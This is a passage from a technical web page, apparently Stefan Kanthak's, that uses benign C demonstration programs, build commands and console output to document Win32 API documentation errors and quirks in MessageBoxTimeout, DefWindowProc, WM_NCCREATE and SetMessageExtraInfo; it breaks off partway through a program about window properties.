            MAKELANGID(LANG_NEUTRAL, SUBLANG_SYS_DEFAULT)
            – 0 alias
            MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL)
            specifies the current language of the calling thread!
        
 Note: the header file winuser.h
            shipped with the
            Platform SDK
            for Windows XP as well as later versions defines the
            preprocessor macro IDTIMEOUT for one of the return
            values of the MessageBox*() functions, and
            user32.dll
            plus its import library
 user32.lib provide yet
            another but undocumented function to display a
            message box – MessageBoxTimeout().
        
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#if _WIN32_WINNT > 0x0500
__declspec(deprecated("undocumented interface, use at your own risk"))
__declspec(dllimport)
INT	WINAPI	MessageBoxTimeoutA(HWND   hwnd,
		                   LPCSTR lpText,
		                   LPCSTR lpCaption,
		                   UINT   uType,
		                   LANGID wLanguageId,
		                   DWORD  dwMilliseconds);
__declspec(deprecated("undocumented interface, use at your own risk"))
__declspec(dllimport)
INT	WINAPI	MessageBoxTimeoutW(HWND    hwnd,
		                   LPCWSTR lpText,
		                   LPCWSTR lpCaption,
		                   UINT    uType,
		                   LANGID  wLanguageId,
		                   DWORD   dwMilliseconds);
#define MB_INFINITE	0UL
#ifdef UNICODE
#define MessageBoxTimeout	MessageBoxTimeoutW
#else
#define MessageBoxTimeout	MessageBoxTimeoutA
#endif
#endif // _WIN32_WINNT
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	INT	id = MessageBoxTimeout(HWND_DESKTOP,
		                       L"Supercalifragilisticexpialidocious",
		                       L"Blunder",
		                       MB_YESNOCANCEL,
		                       MAKELANGID(LANG_INVARIANT, SUBLANG_NEUTRAL),
		                       0x815UL);
	if (id == 0)
		ExitProcess(GetLastError());
	if (id == IDTIMEOUT)
		ExitProcess(ERROR_TIMEOUT);
	ExitProcess(-id);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/we4013 /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(44) : warning C4996: 'MessageBoxTimeoutW': undocumented interface, use at your own risk blunder.c(21) : see declaration of 'MessageBoxTimeoutW' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
 
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x5b4 (WIN32: 1460 ERROR_TIMEOUT) -- 1460 (1460) Error message text: This operation returned because the timeout period expired. CertUtil: -error command completed successfully.OUCH: despite the invariant language requested with the
wLanguageId parameter the
            button texts are but in the current language of the calling thread!
        The system passes all input for an application to the various windows in the application. Each window has a function, called a window procedure, that the system calls whenever it has input for the window. The window procedure processes the input and returns control to the system. […]The documentation for theWith the exception of the WM_PAINT WM_PAINT message, the WM_TIMER message, and the WM_QUIT message, the system always posts messages at the end of a message queue. This ensures that a window receives its input messages in the proper first in, first out (FIFO) sequence. The WM_PAINT message, the WM_TIMER message, and the WM_QUIT message, however, are kept in the queue and are forwarded to the window procedure only when the queue contains no other messages. In addition, multiple WM_PAINT messages for the same window are combined into a single WM_PAINT message, consolidating all invalid parts of the client area into a single area. Combining WM_PAINT messages reduces the number of times a window must redraw the contents of its client area.
WM_QUIT
            message but specifies:
        Indicates a request to terminate an application, and is generated when the application calls the PostQuitMessage function. This message causes the GetMessage function to return zero.OUCH⁰: the highlighted statements of both documentations contradict each other – the first documentation cited above is wrong, the[…]
This message does not have a return value because it causes the message loop to terminate before the message is sent to the application's window procedure.
[…]
The WM_QUIT message is not associated with a window and therefore will never be received through a window's window procedure. It is retrieved only by the GetMessage or PeekMessage functions.
WM_QUIT
            message is not forwarded to the
            window procedure!
         The documentation for the Win32 function
            PostQuitMessage()
            states:
        
Indicates to the system that a thread has made a request to terminate (quit). It is typically used in response to a WM_DESTROY message.The documentation for the Win32 functionvoid PostQuitMessage( [in] int nExitCode );
[in] nExitCodeThe application exit code. This value is used as the wParam parameter of the WM_QUIT message.
DefWindowProc()
            states:
        Calls the default window procedure to provide default processing for any window messages that an application does not process. This function ensures that every message is processed. DefWindowProc is called with the same parameters received by the window procedure.The documentation for the
WM_NCDESTROY
            message specifies:
        Notifies a window that its nonclient area is being destroyed. The DestroyWindow function sends the WM_NCDESTROY message to the window following the WM_DESTROY message. WM_DESTROY is used to free the allocated memory object associated with the window.The documentation for theThe WM_NCDESTROY message is sent after the child windows have been destroyed. In contrast, WM_DESTROY is sent before the child windows are destroyed.
A window receives this message through its WindowProc function.
[…]
If an application processes this message, it should return zero.
WM_DESTROY
            message specifies:
        Sent when a window is being destroyed. It is sent to the window procedure of the window being destroyed after the window is removed from the screen.The documentation for theThis message is sent first to the window being destroyed and then to the child windows (if any) as they are destroyed. During the processing of the message, it can be assumed that all child windows still exist.
A window receives this message through its WindowProc function.
[…]
If an application processes this message, it should return zero.
WM_CLOSE
            message specifies:
        Sent as a signal that a window or an application should terminate.The documentation for the[…]
If an application processes this message, it should return zero.
[…]
By default, the DefWindowProc function calls the DestroyWindow function to destroy the window.
WM_NCCREATE
            message states:
        Sent prior to the WM_CREATE message when a window is first created.A window receives this message through its WindowProc function.
[…]
If an application processes this message, it should return TRUE to continue creation of the window. If the application returns FALSE, the CreateWindow or CreateWindowEx function will return a NULL handle.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#ifdef BLUNDER
LRESULT	WINAPI	WindowProc(HWND hWindow, UINT uMessage, WPARAM wParam, LPARAM lParam)
{
	switch (uMessage)
	{
#if BLUNDER == 1
	case WM_NCCREATE:
		// CAVEAT: DefWindowProc() must be called in response to the
		//          WM_NCCREATE message to register the window title!
		return (LRESULT) TRUE;
#endif
//	case WM_CREATE:
//	case WM_DESTROY:
//	case WM_NULL:
//
//		return (LRESULT) FALSE;
	case WM_NCDESTROY:
		PostQuitMessage(0);
	}
	return DefWindowProc(hWindow, uMessage, wParam, lParam);
}
#endif // BLUNDER
extern	const	IMAGE_DOS_HEADER	__ImageBase;
const	WNDCLASSEX	wce = {sizeof(wce),
			       CS_DBLCLKS,
#ifndef BLUNDER	// CAVEAT: DefWindowProc() does not call PostQuitMessage()
		//          in response to the WM_DESTROY message!
			       DefWindowProc,
#else
			       WindowProc,
#endif
			       0, 0,
			       (HINSTANCE) &__ImageBase,
			       (HICON) NULL,
			       (HCURSOR) NULL,
			       (HBRUSH) COLOR_BACKGROUND,
			       (LPCWSTR) NULL,
			       L"Blunder Demonstration Class",
			       (HICON) NULL};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError;
	LRESULT lResult;
	BOOL	bResult;
	MSG	msg;
	if (RegisterClassEx(&wce) == (ATOM) 0)
		dwError = GetLastError();
	else
	{
		if (CreateWindowEx(WS_EX_APPWINDOW,
		                   wce.lpszClassName,
		                   L"Blunder Demonstration Window",
		                   WS_OVERLAPPEDWINDOW | WS_VISIBLE,
		                   CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
		                   (HWND) NULL,
		                   (HMENU) NULL,
		                   wce.hInstance,
		                   NULL) == NULL)
			dwError = GetLastError();
		else
		{
			while ((bResult = GetMessage(&msg, (HWND) NULL, WM_NULL, WM_NULL)) > 0)
			{
				if (TranslateMessage(&msg))
					;
				lResult = DispatchMessage(&msg);
			}
			dwError = bResult < 0 ? GetLastError() : msg.wParam;
		}
		if (!UnregisterClass(wce.lpszClassName, wce.hInstance))
			dwError = GetLastError();
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(43) : warning C4232: nonstandard extension used : 'lpfnWndProc' : address of dllimport 'DefWindowProcW' is not static, identity not guaranteed C:\Program Files\Microsoft SDKs\Windows\v7.1\Include\winuser.h(3640) : see declaration of 'DefWindowProcW' Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. and close its window to demonstrate the first blunder:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%OUCH¹: although the application window titled
Blunder Demonstration Windowwas closed, the Command Processor waits for the child process to terminate – the Win32 function
DefWindowProc()
            does not provide the typical responseto the
WM_DESTROY
            message, i.e. it does not call the
            PostQuitMessage()
            function to send the
            WM_QUIT
            message required to terminate the
            message loop
            of the child process!
        Press the Ctrl C keyboard shortcut to terminate the console application.
^C
0xc000013a (NT: 0xc000013a STATUS_CONTROL_C_EXIT) -- 3221225786 (-1073741510)
Error message text: {Application Exit by CTRL+C}
The application terminated as a result of a CTRL+C.
CertUtil: -error command completed successfully.
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 5. to demonstrate the second blunder, then close its
            window:
        
.\blunder.exe ECHO %ERRORLEVEL%
![Screen shot of untitled application window on Windows 10 [Screen shot of untitled application window on Windows 10]](download/Blunder_Metro.png) 
            ![Screen shot of untitled application window on Windows 7 [Screen shot of untitled application window on Windows 7]](download/Blunder_Aero.png) 
            ![Screen shot of untitled application window on Windows XP [Screen shot of untitled application window on Windows XP]](download/Blunder_Classic.png) 
        0
DefWindowProc(0x12345678, 0x0024 = WM_GETMINMAXINFO, 0x00000000, 0x004BF528) returned 0 DefWindowProc(0x12345678, 0x0081 = WM_NCCREATE, 0x00000000, 0x004BF51C) returned 1 DefWindowProc(0x12345678, 0x0083 = WM_NCCALCSIZE, 0x00000000, 0x004BF508) returned 0 DefWindowProc(0x12345678, 0x0001 = WM_CREATE, 0x00000000, 0x004BF51C) returned 0 DefWindowProc(0x12345678, 0x0018 = WM_SHOWWINDOW, 0x00000001, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0046 = WM_WINDOWPOSCHANGING, 0x00000000, 0x004BF530) returned 0 DefWindowProc(0x12345678, 0x0046 = WM_WINDOWPOSCHANGING, 0x00000000, 0x004BF530) returned 0 DefWindowProc(0x12345678, 0x001C = WM_ACTIVATEAPP, 0x00000001, 0x000038CC) returned 0 DefWindowProc(0x12345678, 0x000D = WM_GETTEXT, 0x00000100, 0x004BDA6C) returned 28 DefWindowProc(0x12345678, 0x0086 = WM_NCACTIVATE, 0x00000001, 0x00000000) returned 1 DefWindowProc(0x12345678, 0x0282 = WM_IME_NOTIFY, 0x00000002, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0281 = WM_IME_SETCONTEXT, 0x00000001, 0xC000000F) returned 0 DefWindowProc(0x12345678, 0x0007 = WM_SETFOCUS, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0006 = WM_ACTIVATE, 0x00000001, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x000D = WM_GETTEXT, 0x00000100, 0x004BDA6C) returned 28 DefWindowProc(0x12345678, 0x0085 = WM_NCPAINT, 0x00000001, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0014 = WM_ERASEBKGND, 0xD9010D49, 0x00000000) returned 1 DefWindowProc(0x12345678, 0x0047 = WM_WINDOWPOSCHANGED, 0x00000000, 0x004BF530) returned 0 DefWindowProc(0x12345678, 0x0005 = WM_SIZE, 0x00000000, 0x03360598) returned 0 DefWindowProc(0x12345678, 0x0003 = WM_MOVE, 0x00000000, 0x00430030) returned 0 DefWindowProc(0x12345678, 0x000F = WM_PAINT, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x007F = WM_GETICON, 0x00000001, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x007F = WM_GETICON, 0x00000002, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x007F = WM_GETICON, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0xC0AA = wm_registered + …, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0104 = WM_SYSKEYDOWN, 0x00000012, 0x20380001) returned 0 DefWindowProc(0x12345678, 0x0104 = WM_SYSKEYDOWN, 0x00000073, 0x203E0001) returned 0 DefWindowProc(0x12345678, 0x0046 = WM_WINDOWPOSCHANGING, 0x00000000, 0x004BE420) returned 0 DefWindowProc(0x12345678, 0x0047 = WM_WINDOWPOSCHANGED, 0x00000000, 0x004BE420) returned 0 DefWindowProc(0x12345678, 0x0086 = WM_NCACTIVATE, 0x00000000, 0x00000000) returned 1 DefWindowProc(0x12345678, 0x0006 = WM_ACTIVATE, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x001C = WM_ACTIVATEAPP, 0x00000000, 0x000038CC) returned 0 DefWindowProc(0x12345678, 0x0008 = WM_KILLFOCUS, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0282 = WM_IME_NOTIFY, 0x00000001, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0281 = WM_IME_SETCONTEXT, 0x00000000, 0xC000000F) returned 0 DefWindowProc(0x12345678, 0x0002 = WM_DESTROY, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0082 = WM_NCDESTROY, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0010 = WM_CLOSE, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0112 = WM_SYSCOMMAND, 0x0000F060, 0x00000000) returned 0OUCH²: the application window is displayed without its title
Blunder Demonstration Window– contrary to the highlighted statement of the last documentation cited above, an application’s
WindowProc()
            function must not return TRUE in
            response to the
            WM_NCCREATE
            message, but needs to call the
            DefWindowProc()
            function instead!
         Compile and link the source file blunder.c created in
            step 1. a third time, now with the preprocessor macro
            BLUNDER defined as 0:
        
CL.EXE /DBLUNDER=0 blunder.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 7. to demonstrate its proper function, then close its
            window:
        
.\blunder.exe ECHO %ERRORLEVEL%
0
DefWindowProc(0x12345678, 0x0024 = WM_GETMINMAXINFO, 0x00000000, 0x001BFA10) returned 0 DefWindowProc(0x12345678, 0x0081 = WM_NCCREATE, 0x00000000, 0x001BFA04) returned 1 DefWindowProc(0x12345678, 0x0083 = WM_NCCALCSIZE, 0x00000000, 0x001BF9F0) returned 0 DefWindowProc(0x12345678, 0x0001 = WM_CREATE, 0x00000000, 0x001BFA04) returned 0 DefWindowProc(0x12345678, 0x0018 = WM_SHOWWINDOW, 0x00000001, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0046 = WM_WINDOWPOSCHANGING, 0x00000000, 0x001BFA18) returned 0 DefWindowProc(0x12345678, 0x0046 = WM_WINDOWPOSCHANGING, 0x00000000, 0x001BFA18) returned 0 DefWindowProc(0x12345678, 0x001C = WM_ACTIVATEAPP, 0x00000001, 0x000038CC) returned 0 DefWindowProc(0x12345678, 0x000D = WM_GETTEXT, 0x00000100, 0x001BDF58) returned 28 DefWindowProc(0x12345678, 0x0086 = WM_NCACTIVATE, 0x00000001, 0x00000000) returned 1 DefWindowProc(0x12345678, 0x0282 = WM_IME_NOTIFY, 0x00000002, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0281 = WM_IME_SETCONTEXT, 0x00000001, 0xC000000F) returned 0 DefWindowProc(0x12345678, 0x0007 = WM_SETFOCUS, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0006 = WM_ACTIVATE, 0x00000001, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x000D = WM_GETTEXT, 0x00000100, 0x001BDF58) returned 28 DefWindowProc(0x12345678, 0x0085 = WM_NCPAINT, 0x00000001, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0014 = WM_ERASEBKGND, 0x9E010D49, 0x00000000) returned 1 DefWindowProc(0x12345678, 0x0047 = WM_WINDOWPOSCHANGED, 0x00000000, 0x001BFA18) returned 0 DefWindowProc(0x12345678, 0x0005 = WM_SIZE, 0x00000000, 0x03360598) returned 0 DefWindowProc(0x12345678, 0x0003 = WM_MOVE, 0x00000000, 0x010900F6) returned 0 DefWindowProc(0x12345678, 0x000F = WM_PAINT, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x007F = WM_GETICON, 0x00000001, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x007F = WM_GETICON, 0x00000002, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x007F = WM_GETICON, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0xC0AA = wm_registered + …, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0104 = WM_SYSKEYDOWN, 0x00000012, 0x20380001) returned 0 DefWindowProc(0x12345678, 0x0104 = WM_SYSKEYDOWN, 0x00000073, 0x203E0001) returned 0 DefWindowProc(0x12345678, 0x0046 = WM_WINDOWPOSCHANGING, 0x00000000, 0x001BE910) returned 0 DefWindowProc(0x12345678, 0x0047 = WM_WINDOWPOSCHANGED, 0x00000000, 0x001BE910) returned 0 DefWindowProc(0x12345678, 0x0086 = WM_NCACTIVATE, 0x00000000, 0x00000000) returned 1 DefWindowProc(0x12345678, 0x0006 = WM_ACTIVATE, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x001C = WM_ACTIVATEAPP, 0x00000000, 0x000038CC) returned 0 DefWindowProc(0x12345678, 0x0008 = WM_KILLFOCUS, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0282 = WM_IME_NOTIFY, 0x00000001, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0281 = WM_IME_SETCONTEXT, 0x00000000, 0xC000000F) returned 0 DefWindowProc(0x12345678, 0x0002 = WM_DESTROY, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0082 = WM_NCDESTROY, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0010 = WM_CLOSE, 0x00000000, 0x00000000) returned 0 DefWindowProc(0x12345678, 0x0112 = WM_SYSCOMMAND, 0x0000F060, 0x00000000) returned 0
SetMessageExtraInfo()
            states:
        Sets the extra message information for the current thread. Extra message information is an application- or driver-defined value associated with the current thread's message queue. An application can use the GetMessageExtraInfo function to retrieve a thread's extra message information.The documentation for the Win32 functionLPARAM SetMessageExtraInfo( [in] LPARAM lParam );[in] lParamThe value to be associated with the current thread.
The return value is the previous value associated with the current thread.
GetMessageExtraInfo()
            states:
        Retrieves the extra message information for the current thread. Extra message information is an application- or driver-defined value associated with the current thread's message queue.LPARAM GetMessageExtraInfo();
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
LRESULT	WINAPI	WindowProc(HWND hWindow, UINT uMessage, WPARAM wParam, LPARAM lParam)
{
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	PrintConsole(hError,
	             L"SetMessageExtraInfo(…) returned %Id\n",
	             SetMessageExtraInfo(GetMessageExtraInfo() - 1));
	switch (uMessage)
	{
	case WM_PAINT:
		if (DestroyWindow(hWindow))
			break;
		SetWindowLong(hWindow, GWL_USERDATA, GetLastError());
		PrintConsole(hError,
		             L"DestroyWindow() returned error %lu\n",
		             GetWindowLong(hWindow, GWL_USERDATA));
	case WM_NCDESTROY:
		PostQuitMessage(GetWindowLong(hWindow, GWL_USERDATA));
	}
	return DefWindowProc(hWindow, uMessage, wParam, lParam);
}
extern	const	IMAGE_DOS_HEADER	__ImageBase;
const	WNDCLASSEX	wce = {sizeof(wce),
			       CS_DBLCLKS,
			       WindowProc,
			       0, 0,
			       (HINSTANCE) &__ImageBase,
			       (HICON) NULL,
			       (HCURSOR) NULL,
			       (HBRUSH) COLOR_BACKGROUND,
			       (LPCWSTR) NULL,
			       L"Blunder Demonstration Class",
			       (HICON) NULL};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	DWORD	dwError;
	LRESULT lResult;
	BOOL	bResult;
	MSG	msg;
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
		if (RegisterClassEx(&wce) == (ATOM) 0)
			PrintConsole(hError,
			             L"RegisterClassEx() returned error %lu\n",
			             dwError = GetLastError());
		else
		{
			if (CreateWindowEx(WS_EX_APPWINDOW,
			                   wce.lpszClassName,
			                   L"Blunder Demonstration Window",
			                   WS_OVERLAPPEDWINDOW | WS_VISIBLE,
			                   CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT,
			                   (HWND) NULL,
			                   (HMENU) NULL,
			                   wce.hInstance,
			                   NULL) == NULL)
				PrintConsole(hError,
				             L"CreateWindowEx() returned error %lu\n",
				             dwError = GetLastError());
			else
			{
				PrintConsole(hError,
				             L"SetMessageExtraInfo(123456789) returned %Id\n",
				             SetMessageExtraInfo((LPARAM) 123456789));
				while ((bResult = GetMessage(&msg, (HWND) NULL, WM_NULL, WM_NULL)) > 0)
				{
					if (TranslateMessage(&msg))
						;
					lResult = DispatchMessage(&msg);
				}
				if (bResult < 0)
					PrintConsole(hError,
					             L"GetMessage() returned error %lu\n",
					             dwError = GetLastError());
				else
					dwError = msg.wParam;
				PrintConsole(hError,
				             L"GetMessageExtraInfo() returned %Id\n",
				             GetMessageExtraInfo());
			}
			if (!UnregisterClass(wce.lpszClassName, wce.hInstance))
				PrintConsole(hError,
				             L"UnregisterClass() returned error %lu\n",
				             dwError = GetLastError());
		}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
SetMessageExtraInfo(…) returned 0 SetMessageExtraInfo(…) returned -1 SetMessageExtraInfo(…) returned -2 SetMessageExtraInfo(…) returned -3 SetMessageExtraInfo(…) returned -4 SetMessageExtraInfo(…) returned -5 SetMessageExtraInfo(…) returned -6 SetMessageExtraInfo(…) returned -7 SetMessageExtraInfo(…) returned -8 SetMessageExtraInfo(…) returned -9 SetMessageExtraInfo(…) returned -10 SetMessageExtraInfo(…) returned -11 SetMessageExtraInfo(…) returned -12 SetMessageExtraInfo(…) returned -13 SetMessageExtraInfo(…) returned -14 SetMessageExtraInfo(…) returned -15 SetMessageExtraInfo(…) returned -16 SetMessageExtraInfo(…) returned -17 SetMessageExtraInfo(…) returned -18 SetMessageExtraInfo(…) returned -19 SetMessageExtraInfo(123456789) returned -20 SetMessageExtraInfo(…) returned 0 SetMessageExtraInfo(…) returned -1 SetMessageExtraInfo(…) returned 0 SetMessageExtraInfo(…) returned 0 SetMessageExtraInfo(…) returned -1 SetMessageExtraInfo(…) returned -2 SetMessageExtraInfo(…) returned -3 SetMessageExtraInfo(…) returned -4 SetMessageExtraInfo(…) returned -5 SetMessageExtraInfo(…) returned -6 SetMessageExtraInfo(…) returned -7 SetMessageExtraInfo(…) returned -8 SetMessageExtraInfo(…) returned -9 SetMessageExtraInfo(…) returned 0 GetMessageExtraInfo() returned -1 0OOPS: the window procedure is called 20 (in words: twenty) times here before the message loop starts!
OUCH: the extra message information is 4 (in words: four) times reset to 0 here – contrary to both documentations cited above its value is not solely defined by the application!
SetLastError()
            states in its Remarkssection:
Most functions call SetLastError or SetLastErrorEx only when they fail. However, some system functions call SetLastError or SetLastErrorEx under conditions of success; those cases are noted in each function's documentation.The documentation for the Win32 function
EnumProps()
            states:
        Enumerates all entries in the property list of a window by passing them, one by one, to the specified callback function. EnumProps continues until the last entry is enumerated or the callback function returns FALSE.The documentation for the Win32 function[…]
The return value specifies the last value returned by the callback function. It is -1 if the function did not find a property for enumeration.
EnumPropsEx()
            states:
        Enumerates all entries in the property list of a window by passing them, one by one, to the specified callback function. EnumPropsEx continues until the last entry is enumerated or the callback function returns FALSE.The documentation for the Win32 function[…]
The return value specifies the last value returned by the callback function. It is -1 if the function did not find a property for enumeration.
GetProp()
            states:
        Retrieves a data handle from the property list of the specified window. The character string identifies the handle to be retrieved. The string and handle must have been added to the property list by a previous call to the SetProp function.The documentation for the Win32 function[…]
If the property list contains the string, the return value is the associated data handle. Otherwise, the return value is NULL.
RemoveProp()
            states:
        Removes an entry from the property list of the specified window. The specified character string identifies the entry to be removed.The documentation for the Win32 function[…]
The return value identifies the specified data. If the data cannot be found in the specified property list, the return value is NULL.
[…]
The RemoveProp function returns the data handle associated with the string so that the application can free the data associated with the handle.
SetProp()
            states:
        Adds a new entry or changes an existing entry in the property list of the specified window. The function adds a new entry to the list if the specified character string does not exist already in the list. The new entry contains the string and the handle. Otherwise, the function replaces the string's current handle with the specified handle.[…]
If the data handle and string are added to the property list, the return value is nonzero.
If the function fails, the return value is zero. To get extended error information, call GetLastError.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
BOOL	WINAPI	PropEnumProc(HWND hWindow, LPCWSTR lpString, HANDLE hData)
{
	return TRUE;
}
BOOL	WINAPI	EnumPropExProc(HWND hWindow, LPCWSTR lpString, HANDLE hData, ULONG_PTR lParam)
{
	PrintConsole((HANDLE) lParam,
	             L"0x%p: property \'%ls\' is 0x%p\n",
	             hWindow, lpString, hData);
	return TRUE;
}
const	LPCWSTR	szBlunder[] = {L"BLUNDER", L"", NULL};
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	HWND	hWindow;
	BOOL	bBlunder;
	DWORD	dwBlunder = 0UL;
	DWORD	dwError = ERROR_SUCCESS;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	if (hError == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
#if 1
		hWindow = GetConsoleWindow();
		if (hWindow == NULL)
			PrintConsole(hError,
			             L"GetConsoleWindow() returned error %lu\n",
			             dwError = GetLastError());
#elif 1
		hWindow = GetDesktopWindow();
		if (hWindow == NULL)
